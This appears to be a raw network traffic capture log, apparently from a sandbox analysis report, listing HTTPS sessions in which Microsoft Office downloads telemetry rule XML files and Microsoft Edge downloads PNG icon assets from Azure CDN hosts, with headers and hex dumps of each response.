2024-10-30 22:11:40 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:41 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:41 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:41 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221141Z-16849878b78x44pv2mpb0dd37w00000000vg00000000065d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:41 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:41 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:41 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:41 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221141Z-16849878b78bcpfn2qf7sm6hsn0000000a4g0000000114z7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:41 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:41 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:41 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:41 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 6796a20d-a01e-00ab-565f-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221141Z-17c5cb586f6wmhkn5q6fu8c5ss000000086g000000002xw7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:41 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:41 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:41 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:41 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ef425c1b-901e-002a-63e7-277a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221141Z-17c5cb586f659tsm88uwcmn6s4000000014g0000000097n3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:41 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49901	13.107.246.57	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:42 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:42 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:42 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: aa138f34-101e-003c-6e18-2bdcdc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T221142Z-15b8d89586fdmfsg1u7xrpfws00000000cz0000000004qk0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-30 22:11:42 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49907	13.107.246.57	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:42 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:42 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:42 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: bca70e81-901e-0069-26ca-2a37ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T221142Z-17c5cb586f659tsm88uwcmn6s4000000017g000000000rpn Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-30 22:11:42 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	49905	13.107.246.57	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:42 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:42 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:42 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 28027cef-b01e-003a-3dd5-282ba4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T221142Z-16849878b782d4lwcu6h6gmxnw000000089000000000hg44 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:42 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	49908	13.107.246.57	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:42 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:42 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:42 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 5984f239-a01e-0048-0690-285a9a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T221142Z-16849878b78q9m8bqvwuva4svc00000007800000000039w3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:42 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	49904	13.107.246.57	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:42 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:42 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:42 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 479a53aa-f01e-001f-392b-29b317000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T221142Z-16849878b78km6fmmkbenhx76n00000007x000000000u1gd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:42 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	49906	13.107.246.57	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:42 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:42 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:42 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: f109a6ca-e01e-0029-2d18-2b1e45000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T221142Z-17c5cb586f672xmrz843mf85fn00000007m000000000984y Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-30 22:11:42 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:42 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
